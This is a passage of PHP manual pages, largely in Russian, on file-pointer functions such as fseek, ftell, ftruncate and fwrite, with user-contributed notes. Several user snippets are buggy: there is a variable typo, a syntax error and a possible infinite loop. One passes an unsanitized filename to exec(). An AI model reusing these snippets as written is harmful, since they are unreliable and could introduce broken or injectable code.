You can freely position you pointer if you open a file in (r+) mode, but it will "overwrite" the data, not "append it".

Tested this:

<?php
// file.txt content:
// "You can contribute your notes to the PHP manual from the comfort of your browser!"

$handler = fopen("file.txt", "r+");
fseek($handler, 0);
fwrite($handler, "want to add this");
?>
New contents of the file.txt will be like this:
"want to add thiste your notes to the PHP manual from the comfort of your browser!".

If you really want to append at the beginning, you have to first get all the contents, save it, clear the file, put the new contents and append the saved contents at the end.
seeker at example com 28-Feb-2008 08:40
JUST TO QUOTE AND POINT THIS OUT:

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
3. if you're using fseek() to write data to a file, remember to open the file in "r+"
mode, example:

  $fp=fopen($filename,"r+");

DON'T open the file in mode "a" (for append), because it puts
 the file pointer at the end of the file and doesn't let you
fseek earlier positions in the file (it didn't for me!). Also,
don't open the file in mode "w" -- although this puts you at
the beginning of the file -- because it wipes out all data in
the file.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Took me half a day to figure :/
mhinks at gmail dot com 26-Feb-2007 11:38
Here's a function I wrote to binary search for a line of text within a file, particularly useful when the file is too large to read into memory at once and you want a faster search than linear.

function binary_search_in_file($filename, $search) {

    //Open the file
    $fp = fopen($filename, 'r');

    //Seek to the end
    fseek($fp, 0, SEEK_END);

    //Get the max value
    $high = ftell($fp);

    //Set the low value
    $low = 0;

    while ($low <= $high) {
        $mid = floor(($low + $high) / 2);  // C floors for you

        //Seek to half way through
        fseek($fp, $mid);

        if($mid != 0){
            //Read a line to move to eol
            $line = fgets($fp);
        }

        //Read a line to get data
        $line = fgets($fp);

        if ($line == $search) {
            fclose($fp);
            return $line;
        }
        else {
            if ($search < $line) {
                $high = $mid - 1;
            }
            else {
                $low = $mid + 1;
            }
        }
    }

    //Close the pointer
    fclose($fp);

    return FALSE;

}
marc dot roe at gmail dot com 19-Aug-2006 09:38
I tried to improve and modify (mail at ulf-kosack dot de)'s function. Actually it is very fast, i.e. requires much less time than to get the last five, ten or whatever lines of a file using file() ore file_get_contents().

function read_file($file, $lines)
{
       $handle = fopen($file, "r");
       $linecounter = $lines;
       $pos = -2;
       $beginning = false;
       $text = array();
       while ($linecounter > 0) {
         $t = " ";
         while ($t != "\n") {
           if(fseek($handle, $pos, SEEK_END) == -1) {
$beginning = true; break; }
           $t = fgetc($handle);
           $pos --;
         }
         $linecounter --;
         if($beginning) rewind($handle);
         $text[$lines-$linecounter-1] = fgets($handle);
         if($beginning break;
       }
       fclose ($handle);
       return array_reverse($text); // array_reverse is optional: you can also just return the $text array which consists of the file's lines.
}

The good thing now is, that you don't get an error when your requesting more lines than the file contains. In this case the function will just return the whole file content.
lucky at somnius dot com dot ar 18-Aug-2006 05:35
Jim's (jim at lfchosting dot com) code for the last-line issue is perfect if the file is not empty, or moreover if it has more than one line. However if the file you're using cotains no new-line character at all (i.e. it is empty or it's got one line and only one) the while loop will stuck indefinitely.

I know this script is meant for big files which would always contain at least several lines, but it would be clever to make the script error-proof.

Thus, here's a little modification to his code.

<?php
function readLastLine ($file) {
    $fp = @fopen($file, "r");

    $pos = -1;
    $t = " ";
    while ($t != "\n") {
        if (!fseek($fp, $pos, SEEK_END)) { // *** - fseek returns 0 if successfull, and -1 if it has no succes as in seeking a byte outside the file's range
            $t = fgetc($fp);
            $pos = $pos - 1;
        } else { // ***
            rewind($fp); // ***
            break; // ***
        } // ***
    }
    $t = fgets($fp);
    fclose($fp);
    return $t;
}
?>

Lines added and/or modified have been marked with "// ***". I hope this helps!

Regards!
mail at ulf-kosack dot de 27-May-2006 10:44
Here a little extension for the code of ekow.
If you want to read more than one line and more than one file. Some times the last five ore ten lines are interesting in.

You only have to submit a array with filenames and optionally a number of lines you want to read.

<?php
  function read_logfiles($files, $lines=5)
  {
    foreach($files as $file_num => $file) {
      if (file_exists ($file) ) {
        $handle = fopen($file, "r");
        $linecounter = $lines;
        $pos = -2;
        $t = " ";
        $text[$file_num] = "";
        while ($linecounter > 0) {
          while ($t != "\n") {
            fseek($handle, $pos, SEEK_END);
            $t = fgetc($handle);
            $pos --;
          }
          $t = " ";
          $text[$file_num] .= fgets($handle);
          $linecounter --;
        }
        fclose ($handle);
      } else {
        $text[$file_num] = "The file doesn't exist.";
      }
    }

    return $text;
?>
ekow[at]te.ugm.ac.id 11-Dec-2005 05:22
A little correction for code to read last line from chenganeyou at eyou dot com.
$linenumber = sizeof($file)-1;
should be
$linenumber = sizeof($contents)-1;
because sizeof will count array element, not file size.
<?php
function readlastline($file)
{
       $linecontent = " ";
       $contents = file($file);
       $linenumber = sizeof($contents)-1;
       $linecontet = $contents[$linenumber];
       unset($contents,$linenumber);
       return $linecontent;
}
?>
chenganeyou at eyou dot com 27-Jun-2005 01:35
I use the following codes to read the last line of a file.
Compared to jim at lfchosting dot com, it should be more efficient.

<?php
function readlastline($file)
{
       $linecontent = " ";
       $contents = file($file);
       $linenumber = sizeof($file)-1;
       $linecontet = $contents[$linenumber];
       unset($contents,$linenumber);
       return $linecontent;
}
?>
phil at NOSPAM dot blisswebhosting dot com 25-May-2005 08:43
In order to read a text file from end->beginning e.g display the most recent contents of a log file first.  I use the following.

It basically just uses fseek to find the end of the file, ftell to find the byte count for a counter, then iterates backwards through the file using fgetc to test for the newline charater.

$i=0 ;
$lines=500 ;
$fp = fopen($log,"r") ;
if(is_resource($fp)){
    fseek($fp,0,SEEK_END) ;
    $a = ftell($fp) ;
    while($i <= $lines){
        if(fgetc($fp) == "\n"){
            echo (fgets($fp));
            $i++ ;
        }
    fseek($fp,$a) ;
    $a-- ;
    }
}
alan at peaceconstitution.com 17-May-2005 06:03
Thanks to Dan, whose above comment provided a key to solve the issue of how to append to a file.
     After, using phpinfo(); I made sure my installation of PHP had the requisite settings mentioned in the text to the manual entry for fopen(), I was puzzled as to why my use of fopen() with the append option 'a' (append option) didn't work. Then I  read a comment contributed to Appendix L (http://us2.php.net/manual/en/wrappers.php) that the append option 'a' for fopen() doesn't work as expected. The writer suggested using the 'w' option instead, which I found did work. But the 'w' option (write option) overwrites everything in the file.
     The question remained how to accomplish appending. Following Dan's suggestion about the 'r+' option, I tried this, which works fine:
       $string = "Message to write to log";
       $filehandle = fopen ("/home/name/sqllogs/phpsqlerr.txt", 'r+');
    fseek ( $filehandle,0, SEEK_END);
    fwrite ( $filehandle, $string."\n" );
    fclose ($filehandle);
Lutz ( l_broedel at gmx dot net ) 14-Feb-2005 02:25
Based on the function below, provided by info at o08 dot com (thanks), the following should enable you to read a single line from a file, identified by the line number (starting with 1):

<?
    function readLine ($linenum,$fh) {
        $line = fgets ($fh, 4096);
        $pos = -1;
        $i = 0;

        while (!feof($fh) && $i<($linenum-1)) {
            $char = fgetc($fh);
            if ($char != "\n" && $char != "\r") {
                fseek($fh, $pos, SEEK_SET);
                $pos ++;
            }
            else $i ++;
        }
        $line = fgets($fh);
        return $line;
    } //readLine()
?>
jim at lfchosting dot com 04-Nov-2003 06:03
Here is a function that returns the last line of a file.  This should be quicker than reading the whole file till you get to the last line.  If you want to speed it up a bit, you can set the $pos = some number that is just greater than the line length.  The files I was dealing with were various lengths, so this worked for me.

<?php
function readlastline($file)
{
        $fp = @fopen($file, "r");
        $pos = -1;
        $t = " ";
        while ($t != "\n") {
              fseek($fp, $pos, SEEK_END);
              $t = fgetc($fp);
              $pos = $pos - 1;
        }
        $t = fgets($fp);
        fclose($fp);
        return $t;
}
?>
16-Sep-2002 01:25
Don't use filesize() on files that may be accessed and updated by parallel processes or threads (as the filesize() return value is maintained in a cache).
Instead lock the opened file and use fseek($fp,0,SEEK_END) and ftell($fp) to get the actual filesize if you need to perform a fread() call to read the whole file...


Получает информацию о файле, используя открытый файловый указатель

  • « fseek
  • fsync »
  • PHP Manual
  • Функции файловой системы
  • Получает информацию о файле, используя открытый файловый указатель

fstat

(PHP 4, PHP 5, PHP 7, PHP 8)

fstat — Получает информацию о файле, используя открытый файловый указатель

Описание

fstat(resource $stream): array|false

Собирает статистическую информацию об открытом файле по файловому указателю stream. Эта функция похожа на stat(), за исключением того, что она работает с открытым файловым указателем, а не именем файла.

Список параметров

stream

Указатель (resource) на файл, обычно создаваемый с помощью функции fopen().

Возвращаемые значения

Возвращает массив со статистической информацией файла; формат массива подробно описан на странице описания функции stat(). Возвращает false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования функции fstat()

<?php

// открываем файл
$fp = fopen("/etc/passwd", "r");

// собираем статистику
$fstat = fstat($fp);

// закрываем файл
fclose($fp);

// отображаем только ассоциативную часть
print_r(array_slice($fstat, 13));

?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [dev] => 771
    [ino] => 488704
    [mode] => 33188
    [nlink] => 1
    [uid] => 0
    [gid] => 0
    [rdev] => 0
    [size] => 1114
    [atime] => 1061067181
    [mtime] => 1056136526
    [ctime] => 1056136526
    [blksize] => 4096
    [blocks] => 8
)

Примечания

Замечание: Эта функция неприменима для работы с удалёнными файлами, поскольку файл должен быть доступен через файловую систему сервера.

User Contributed Notes

tom at bitworks dot de 11-Jun-2017 01:49
Remember atime will not be updated by simple read access to the file unless you take care for that in the mounting parameters of your filesystem.

Instead of atime, mtime will be delivered. But mtime only will be updated, if the contents of the file has changed.

Due to this behavior take care in your Session-System. Using session_start() will not be sufficiant to keep your sessions alive. You should write into the Session, e. g. :

$_SESSION = time();

That retriggers your mtime and atime, even if the mounting parameter for atime is set to "noatime" or is missing, dependent of the used file System.
broom at alturnanetworks dot com 03-Oct-2008 03:21
Another ftp_get_contents() approach, using a temperary stream handler. Returns file contents of remote file as string.

<?php
function ftp_get_contents ($conn_id, $remote_filename) {
    //Create temp handler:
    $tempHandle = fopen('php://temp', 'r+');

    //Get file from FTP assuming that it exists:
    ftp_fget($conn_id, $tempHandle, $remote_filename, FTP_ASCII, 0));

    //Getting detailed stats to check filesize:
    $fstats = fstat($tempHandle);

    return fread($tempHandle, $fstats['size']);
}
?>

(It is recommended to add some error handling)


Синхронизирует изменения в файле (включая метаданные)

  • « fstat
  • ftell »
  • PHP Manual
  • Функции файловой системы
  • Синхронизирует изменения в файле (включая метаданные)

fsync

(PHP 8 >= 8.1.0)

fsync — Синхронизирует изменения в файле (включая метаданные)

Описание

fsync(resource $stream): bool

Функция синхронизирует изменения в файле, включая его метаданные. Она похожа на fflush(), но помимо этого даёт инструкции операционной системе о записи на накопитель.

Список параметров

stream

Указатель на файл должен быть корректным и указывать на файл, успешно открытый функциями fopen() или fsockopen() (и всё ещё не закрытый функцией fclose()).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования fsync()

<?php

$file = 'test.txt';

$stream = fopen($file, 'w');
fwrite($stream, 'тестовые данные');
fwrite($stream, "\r\n");
fwrite($stream, 'дополнительные данные');

fsync($stream);
fclose($stream);
?>

Смотрите также

  • fdatasync() - Синхронизирует данные (но не метаданные) с файлом
  • fflush() - Сбрасывает буфер вывода в файл

User Contributed Notes

Dave Gebler 30-Nov-2021 10:15
Two points worth noting:

1. fsync() is not suitable for high throughput, use it only when the durability of a file write really matters to you.

2. fsync() includes an implicit call to fflush() so you don't need to manually flush before you sync.


Возвращает текущую позицию указателя чтения/записи файла

  • « fsync
  • ftruncate »
  • PHP Manual
  • Функции файловой системы
  • Возвращает текущую позицию указателя чтения/записи файла

ftell

(PHP 4, PHP 5, PHP 7, PHP 8)

ftell — Возвращает текущую позицию указателя чтения/записи файла

Описание

ftell(resource $stream): int|false

Возвращает позицию файлового указателя stream.

Список параметров

stream

Файловый указатель должен быть действующим указателем на поток, открытый функциями fopen() или popen(). ftell() возвращает неопределённые результаты для потоков, разрешающих только запись в конец (открытых с флагом "a").

Возвращаемые значения

Возвращает позицию файлового указателя stream в виде целого числа, то есть его смещение в файловом потоке.

При возникновении ошибки возвращает false.

Замечание: Так как тип integer в PHP является целым числом со знаком, и многие платформы используют 32-х битные целые числа, то некоторые функции файловых систем могут возвращать неожиданные результаты для файлов размером больше 2 Гб.

Примеры

Пример #1 Пример использования функции ftell()

<?php

// открываем файл и читаем немного данных
$fp = fopen("/etc/passwd", "r");
$data = fgets($fp, 12);

// где же мы ?
echo ftell($fp); // 11

fclose($fp);

?>

Смотрите также

  • fopen() - Открывает файл или URL
  • popen() - Открывает файловый указатель процесса
  • fseek() - Устанавливает смещение в файловом указателе
  • rewind() - Сбрасывает курсор файлового указателя

User Contributed Notes

d9k at ya dot ru 20-Oct-2022 09:45
Had to use

<?php
posix_isatty(STDIN) == false
?>

instead of

<?php
ftell(STDIN) !== false
?>

after upgrade from php 7 to 8 on ubuntu.
d9k at ya dot ru 20-Oct-2022 09:44
Had to use

<?php
posix_isatty(STDIN) == false
?>

instead of

<?php
ftell(STDIN) !== false
?>

after upgrade from php 7 to 8 on ubuntu.
Mindaugas 15-Mar-2015 09:37
When opening a file for reading and writing via fopen('file','a+') the file pointer should be at the end of the file. However ftell() returns int(0) even if the file is not empty. Also it seems that there is two pointers, first for reading and second for writing, because it acts differently on first operation (reading or writing).

Example:
<?php
$file = fopen('counter.txt', 'w');
fwrite($file, '123456789');
fclose($file);

$file = fopen('counter.txt', 'r');
echo ftell($file) . ' "' . fgets($file) . '" ' . ftell($file) . PHP_EOL;
fclose($file);

$file = fopen('counter.txt', 'a+');
echo ftell($file) . ' "' . fgets($file) . '" ' . ftell($file) . PHP_EOL;
fclose($file);

$file = fopen('counter.txt', 'r+');
fwrite($file, 'rr');
echo ftell($file) . ' "' . fgets($file) . '" ' . ftell($file) . PHP_EOL;
fclose($file);

$file = fopen('counter.txt', 'a+');
fwrite($file, 'aa');
echo ftell($file) . ' "' . fgets($file) . '" ' . ftell($file) . PHP_EOL;
fclose($file);

$file = fopen('counter.txt', 'r');
echo ftell($file) . ' "' . fgets($file) . '" ' . ftell($file) . PHP_EOL;
fclose($file);
?>

Result:
0 "123456789" 9
0 "123456789" 9
2 "3456789" 9
2 "" 2
0 "rr3456789aa" 11
burninleo at gmx dot net 07-Sep-2009 01:38
When opening a file to append via fopen('file','ab') the file pointer should be at the end of the file. However ftell() returns int(0) even if the file is not empty and even after writing some text into the file.
missilesilo at gmail dot com 27-Feb-2007 03:02
In response to php at michielvleugel dot com:

This does not seem to be the case with PHP 5.2.0 and FreeBSD 5.4.

#!/usr/local/bin/php
<?php
$tell = ftell(STDIN);
var_dump($tell);
?>

root@localhost:/home/david# echo Hello World | ./test.php
int(0)
root@localhost:/home/david# ./test.php
int(6629927)

When something is piped to the script, it returns an integer value of 0, however, it also returns an integer when nothing is piped to the script.

The code should  be modified to this:

#!/usr/local/bin/php
<?php
$tell = ftell(STDIN);

if ($tell === 0)
    echo "Something was piped: " . fread(STDIN,256) . "\n";
else
    echo "Nothing was piped\n";
?>

And the result is:

root@localhost:/home/david# echo Hello World | ./test.php
Something was piped: Hello World
root@localhost:/home/david# ./test.php
Nothing was piped
mbirth at webwriters dot de 21-Oct-2005 11:09
Attention! If you open a file with the "text"-modifier (e.g. 'rt') and the file contains \r\n as line-endings, ftell() returns the position as if there were only \n as line-endings.

Example:
If the first line only contains 1 char followed by \r\n, the start of the second line should be position 3. (1char + \r + \n = 3 bytes) But ftell() will return 2 - ignoring one byte. If you call ftell() in line 3, the value will differ from the real value by 2 bytes. The error gets greater with every line.

(Watched this behavior in PHP 5.0.4 for Windows.)

BUT: fseek() works as expected - using the true byte values.
mweierophinney at gmail dot com 21-Jun-2005 10:00
Actually, ftell() gives more than an undefined result for append only streams; it gives the offset from the end of the file as defined before any data was appended. So if you open a file that had 3017 characters, and append 41 characters, and then execute ftell(), the value returned will be 41.
php at michielvleugel dot com 01-Jun-2005 03:19
When trying to determine whether or not something was piped into a command line script, it is not smart to do a fgets(STDIN), because it will wait indefenitely if nothing is piped. Instead, I found ftell on STDIN to be very handy: it will return an integer of zero when something was piped, and nothing if nothing was piped to the script.

#!/usr/bin/php4 -q
<?
#following will hang if nothing is piped:
#$sometext = fgets(STDIN, 256)

$tell = ftell(STDIN);

if (is_integer($tell)==true)
  {echo "Something was piped: ".fread(STDIN,256)."\n";}
else
  {echo "Nothing was piped\n";}

?>


Урезает файл до указанной длины

  • « ftell
  • fwrite »
  • PHP Manual
  • Функции файловой системы
  • Урезает файл до указанной длины

ftruncate

(PHP 4, PHP 5, PHP 7, PHP 8)

ftruncate — Урезает файл до указанной длины

Описание

ftruncate(resource $stream, int $size): bool

Принимает файловый указатель stream и урезает соответствующий файл до размера size.

Список параметров

stream

Файловый указатель.

Замечание:

stream должен быть открыт для записи.

size

Размер файла, до которого он будет обрезан.

Замечание:

Если size больше текущего размера файла, то файл будет дополнен нулевыми байтами.

Если size меньше текущего размера файла, то файл будет обрезан до этого размера.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример обрезания файла

<?php
$filename = 'lorem_ipsum.txt';

$handle = fopen($filename, 'r+');
ftruncate($handle, rand(1, filesize($filename)));
rewind($handle);
echo fread($handle, filesize($filename));
fclose($handle);
?>

Примечания

Замечание:

Файловый указатель не меняется.

Смотрите также

  • fopen() - Открывает файл или URL
  • fseek() - Устанавливает смещение в файловом указателе

User Contributed Notes

Masoud 24-Nov-2020 11:55
The problem that rc at opelgt dot org mentioned seems completely logical.

When pointer is at offset 4 and you truncate file, the pointer is still at offset 4.

So when you write(), the first 4 bytes are filled with null byte by Operating System - There is nothing wrong by PHP. And it's filled with null byte, because there is data on disk and that needs to be cleared with zero bits.

Even though this is a Operating System's gotcha, to avoid data corruption, PHP Docs should mention it clearly. Also it would be nice if PHP automatically sets the pointer's offset to SEEK_END  after truncating to an smaller size to fool-proof it.
Julien B. 01-May-2015 02:36
You MUST use rewind() after ftruncate() to replace file content
emailfire at gmail dot com 16-Jun-2011 02:14
If you want to empty a file of it's contents bare in mind that opening a file in w mode truncates the file automatically, so instead of doing...

<?php
$fp = fopen("/tmp/file.txt", "r+");
ftruncate($fp, 0);
fclose($fp);
?>

You can just do...

<?php
$fp = fopen("/tmp/file.txt", "w");
fclose($fp);
?>
eurosat7 at yahoo dot de 21-Apr-2011 08:31
If you want to ftruncate but keep the end:
<?php
    function ftruncatestart($filename,$maxfilesize){
        $size=filesize($filename);
        if ($size<$maxfilesize*1.0) return;
        $maxfilesize=$maxfilesize*0.5; //we don't want to do it too often...
        $fh=fopen($filename,"r+");
        $start=ftell($fh);
        fseek($fh,-$maxfilesize,SEEK_END);
        $drop=fgets($fh);
        $offset=ftell($fh);
        for ($x=0;$x<$maxfilesize;$x++){
            fseek($fh,$x+$offset);
            $c=fgetc($fh);
            fseek($fh,$x);
            fwrite($fh,$c);
        }
        ftruncate($fh,$maxfilesize-strlen($drop));
        fclose($fh);
    }
?>
It will not just cut it but search for a newline so you avoid corrupting your csv or logfiles. But I don't know if you will stress the reading head of your drive. ;)
rc at opelgt dot org 05-Jan-2008 10:49
Writing after ftruncate

I didnt expect that I can write in the middle of nowhere. I thought that I would write at the beginning of the file but the first 4 bytes were filled automatically with NULLs followed by "56":

<?php
$str1  = 1234;
$str2  =   56;
$datei = "test.txt";

$dh = fopen($datei,"w");
fwrite($dh, $str1);
fclose($dh);

$dh = fopen ($datei,"r+");
echo "content: ".fread($dh, filesize($datei))."<br>";
echo "pointer after fread at: ".ftell($dh)."<br>";
ftruncate($dh, 0);
echo "pointer after truncate at: ".ftell($dh)."<br>";
fwrite($dh, $str2);
echo "pointer after fwrite at: ".ftell($dh)."<br>";
rewind($dh);
echo "pointer after rewind at: ".ftell($dh)."<br>";
$str = fread($dh, 6);
echo "content: $str<br>in ASCII: ";
for($i = 0; $i < 6; $i++)
 echo ord($str{$i})."-";
fclose($dh);

/*
   OUTPUT:
   content: 1234
   pointer after fread at: 4
   pointer after truncate at: 4
   pointer after fwrite at: 6
   pointer after rewind at: 0
   content: 56
   in ASCII: 0-0-0-0-53-54
*/
?>

So not only ftruncate is filling an empty file up with NULLs as in the note before. Fread is filling leading space with NULLs too.


Бинарно-безопасная запись в файл

  • « ftruncate
  • glob »
  • PHP Manual
  • Функции файловой системы
  • Бинарно-безопасная запись в файл

fwrite

(PHP 4, PHP 5, PHP 7, PHP 8)

fwrite — Бинарно-безопасная запись в файл

Описание

fwrite(resource $stream, string $data, ?int $length = null): int|false

fwrite() записывает содержимое data в файловый поток stream.

Список параметров

stream

Указатель (resource) на файл, обычно создаваемый с помощью функции fopen().

data

Записываемая строка.

length

Если параметр length является целым числом (int), запись остановится после того, как length байтов будут записаны или будет достигнут конец строки data, смотря что произойдёт раньше.

Возвращаемые значения

fwrite() возвращает количество записанных байт или false в случае возникновения ошибки.

Ошибки

Функция fwrite() выдаёт ошибку уровня E_WARNING в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Параметр length теперь допускает значение null.

Примеры

Пример #1 Простой пример использования fwrite()

<?php
$filename = 'test.txt';
$somecontent = "Добавить это к файлу\n";

// Вначале давайте убедимся, что файл существует и доступен для записи.
if (is_writable($filename)) {

// В нашем примере мы открываем $filename в режиме "записи в конец".
// Таким образом, смещение установлено в конец файла и
// наш $somecontent допишется в конец при использовании fwrite().
if (!$fp = fopen($filename, 'a')) {
echo "Не могу открыть файл ($filename)";
exit;
}

// Записываем $somecontent в наш открытый файл.
if (fwrite($fp, $somecontent) === FALSE) {
echo "Не могу произвести запись в файл ($filename)";
exit;
}

echo "Ура! Записали ($somecontent) в файл ($filename)";

fclose($fp);

} else {
echo "Файл $filename недоступен для записи";
}
?>

Примечания

Замечание:

Запись в сетевой поток может прекратиться до того, как будут записаны все данные. Это можно контролировать с помощью проверки возвращаемого значения функции fwrite():

<?php
function fwrite_stream($fp, $string) {
for ($written = 0; $written < strlen($string); $written += $fwrite) {
$fwrite = fwrite($fp, substr($string, $written));
if ($fwrite === false) {
return $written;
}
}
return $written;
}
?>

Замечание:

В системах, различающих двоичные и текстовые файлы (к примеру, Windows), файл должен быть открыт используя флаг 'b' в конце аргумента mode функции fopen().

Замечание:

Если дескриптор stream был открыт функцией fopen() в режиме "добавление в конец", то вызовы fwrite() будут атомарными (за исключением случая, если размер data превысит размер блока файловой системы, на некоторых платформах, и пока файл хранится на локальной файловой системе). То есть нет необходимости блокировать ресурс с помощью flock() перед вызовом fwrite(), и все данные будут записаны без прерываний.

Замечание:

При повторной записи в файловый указатель, данные будут добавлены в конец содержимого файла:

<?php
$fp = fopen('data.txt', 'w');
fwrite($fp, '1');
fwrite($fp, '23');
fclose($fp);

// содержимое 'data.txt' теперь 123, а не 23!
?>

Смотрите также

  • fread() - Бинарно-безопасное чтение файла
  • fopen() - Открывает файл или URL
  • fsockopen() - Открывает соединение с интернет-сокетом или доменным сокетом Unix
  • popen() - Открывает файловый указатель процесса
  • file_get_contents() - Читает содержимое файла в строку
  • pack() - Упаковать данные в бинарную строку

User Contributed Notes

synnus at gmail dot com 09-Jul-2021 01:25
<?php
/*
Write to offset with positive offset

PHP_INT_MIN / PHP_INT_MAX 32-bit PHP: -2,147,483,648 to +2,147,483,647
PHP_INT_MIN / PHP_INT_MAX 64-bit PHP: -9,223,372,036,854,775,808 to +9,223,372,036,854,775,807

File_writing 32bit 0 -> 4 294 967 295
File_writing 64bit 0 -> 18 446 744 073 709 551 615

$handel =     fopen( myfilname );
$t_f_max      is max file size in BYTE ex: 19998
$offset        is position in offset BYTE ex : 19995
$bin         your binary data you want write

Work in 32bit and 64bit
*/

function File_writing($handel,$t_f_max,$offset,$bin) {
                ($offset > PHP_INT_MAX) ? fseek($handel,-($t_f_max-$offset),SEEK_END) : fseek($handel,$offset,SEEK_SET);
                fwrite($handel,$bin);
                return $offset;
        }

?>
divinity76 at gmail dot com 28-Jan-2021 01:09
if you need a function that writes all data, maybe try

<?php

    /**
     * writes all data or throws
     *
     * @param mixed $handle
     * @param string $data
     * @throws \RuntimeException when fwrite returned <1 but still more data to write
     * @return void
     */
    /*private static*/ function fwrite_all($handle, string $data): void
    {
        $original_len = strlen($data);
        if ($original_len > 0) {
            $len = $original_len;
            $written_total = 0;
            for (;;) {
                $written_now = fwrite($handle, $data);
                if ($written_now === $len) {
                    return;
                }
                if ($written_now < 1) {
                    throw new \RuntimeException("could only write {$written_total}/{$original_len} bytes!");
                }
                $written_total += $written_now;
                $data = substr($data, $written_now);
                $len -= $written_now;
                // assert($len > 0);
                // assert($len === strlen($data));
            }
        }
    }
niklesh at example dot com 16-Jun-2020 10:54
$handles can also be used to output in console like below example

fwrite(STDOUT, "Console Output");
2184364 at gmail dot com 14-Oct-2019 11:31
//fwrite writes over, i.e. this example (win) may be misleading:

$file = 'e:/1.txt';

file_put_contents($file, 'hello'.chr(1).'0df6ac'.chr(0));

$fp = fopen($file, 'r+b');

$str = fread($fp, filesize($file));

$str = strtr($str, [chr(0)=>'']);
echo $str.PHP_EOL;//hello0df6ac

fseek($fp, 0);//указатель в начало
fwrite($fp, $str);

fclose($fp);

//add ftruncate ($ fp, 0);
//this will overwrite the file:

file_put_contents($file, 'hello'.chr(1).'0df6ac'.chr(0));

$fp = fopen($file, 'r+b');

$str = fread($fp, filesize($file));

$str = strtr($str, [chr(0)=>'']);
echo $str.PHP_EOL;//hello0df6ac

ftruncate ($ fp, 0);
fseek($fp, 0);//указатель в начало
fwrite($fp, $str);

fclose($fp);
David Spector 27-Jul-2016 02:01
This may save you time: note that neither "binary-safe file write" nor the use of b mode in fopen mean that fwrite can write binary. It can only write strings (or a single character). For example,  attempting to write the byte 0x1 using fwrite results in writing the byte value 0x31.

If you wish to write binary values (bits, bytes, integers, etc.), use a statement like fprintf($Res, "%c", 0x1); . This statement will write a byte to the current offset in the file without converting it to a character (in this case, it will write 0x1).
synnus at gmail dot com 02-Apr-2016 05:49
// you want copy dummy file or send dummy file
// it is possible to send a file larger than 4GB and write without FSEEK used is limited by PHP_INT_MAX. it works on a system 32-bit or 64-bit
// fwrite and fread non pas de limite de position du pointeur

<?php

$gfz =  filesize_dir("d:\\starwars.mkv"); // 11,5GB
echo 'Z:',$gfz,PHP_EOL;

$fz = fopen('d:\\test2.mkv', 'wb');
$fp = fopen('d:\\starwars.mkv', 'rb');
echo PHP_EOL;
$a = (float) 0;
while(($l=fread($fp, 65536))) {
    fwrite($fz, $l);
    if(($a+=65536)%5) echo "\r", '>', $a, ' : ' , $gfz;
}

fclose($fp);
fclose($fz);

// test2.mkv' is 11,5GB

    function filesize_dir($file) {
        exec('dir ' . $file, $inf);
        $size_raw = $inf[6];
        $size_exp = explode(" ",$size_raw);
        $size_ext = $size_exp[19];
        $size_int = (float) str_replace(chr(255), '', $size_ext);
        return $size_int;
    }
?>
Anonymous 02-Apr-2016 05:48
// you want copy dummy file or send dummy file
// it is possible to send a file larger than 4GB and write without FSEEK used is limited by PHP_INT_MAX. it works on a system 32-bit or 64-bit
// fwrite and fread non pas de limite de position du pointeur

<?php

$gfz =  filesize_dir("d:\\starwars.mkv"); // 11,5GB
echo 'Z:',$gfz,PHP_EOL;

$fz = fopen('d:\\test2.mkv', 'wb');
$fp = fopen('d:\\starwars.mkv', 'rb');
echo PHP_EOL;
$a = (float) 0;
while(($l=fread($fp, 65536))) {
    fwrite($fz, $l);
    if(($a+=65536)%5) echo "\r", '>', $a, ' : ' , $gfz;
}

fclose($fp);
fclose($fz);

// test2.mkv' is 11,5GB

    function filesize_dir($file) {
        exec('dir ' . $file, $inf);
        $size_raw = $inf[6];
        $size_exp = explode(" ",$size_raw);
        $size_ext = $size_exp[19];
        $size_int = (float) str_replace(chr(255), '', $size_ext);
        return $size_int;
    }
?>
qrworld.net 11-Nov-2014 03:06
Here you have a function found on the website http://softontherocks.blogspot.com/2014/11/funcion-para-escribir-en-un-fichero-log.html with an example of how to make a log file.

The function is this:

function writeLog($data) {
list($usec, $sec) = explode(' ', microtime());
$datetime = strftime("%Y%m%d %H:%M:%S",time());
$msg = "$datetime'". sprintf("%06s",intval($usec*1000000)).": $data";
$save_path = 'foo.txt';
$fp = @fopen($save_path, 'a'); // open or create the file for writing and append info
fputs($fp, "$msg\n"); // write the data in the opened file
fclose($fp); // close the file
}
Anonymous 09-Sep-2014 02:56
Bad example!

The result of fwrite could be either FALSE or 0.

So it should be correctly:

if (false === fwrite($handle, $somecontent)) { ....
dominic at varspool dot com 04-Feb-2014 04:49
Note that the optional $length argument is expected to be an int, and cannot be skipped by passing null.

That is, `fwrite($handle, $string, null)` is treated as `fwrite($handle, $string, 0)`, and will write zero bytes, not the whole string.
Jon Haynes 01-Apr-2011 02:48
Be careful of using reserved Windows filenames in fwrite operations.

<?php
$fh = fopen('prn.txt', 'w');
fwrite($fh, 'wtf?');
echo 'done' . PHP_EOL;
?>

The above script will hang (tested on Windows 7) before it can echo 'done'.

This is due to another 'feature' of our favourite operating system where filenames like prn.xxx, con.xxx, com1.xxx and aux.xxx (with xxx being any filename extension) are Windows reserved device names. Attempts to create/read/write to these files hangs the interpreter.
nate at frickenate dot com 24-Mar-2010 09:51
After having problems with fwrite() returning 0 in cases where one would fully expect a return value of false, I took a look at the source code for php's fwrite() itself. The function will only return false if you pass in invalid arguments. Any other error, just as a broken pipe or closed connection, will result in a return value of less than strlen($string), in most cases 0.

Therefore, looping with repeated calls to fwrite() until the sum of number of bytes written equals the strlen() of the full value or expecting false on error will result in an infinite loop if the connection is lost.

This means the example fwrite_stream() code from the docs, as well as all the "helper" functions posted by others in the comments are all broken. You *must* check for a return value of 0 and either abort immediately or track a maximum number of retries.

Below is the example from the docs. This code is BAD, as a broken pipe will result in fwrite() infinitely looping with a return value of 0. Since the loop only breaks if fwrite() returns false or successfully writes all bytes, an infinite loop will occur on failure.

<?php
// BROKEN function - infinite loop when fwrite() returns 0s
function fwrite_stream($fp, $string) {
    for ($written = 0; $written < strlen($string); $written += $fwrite) {
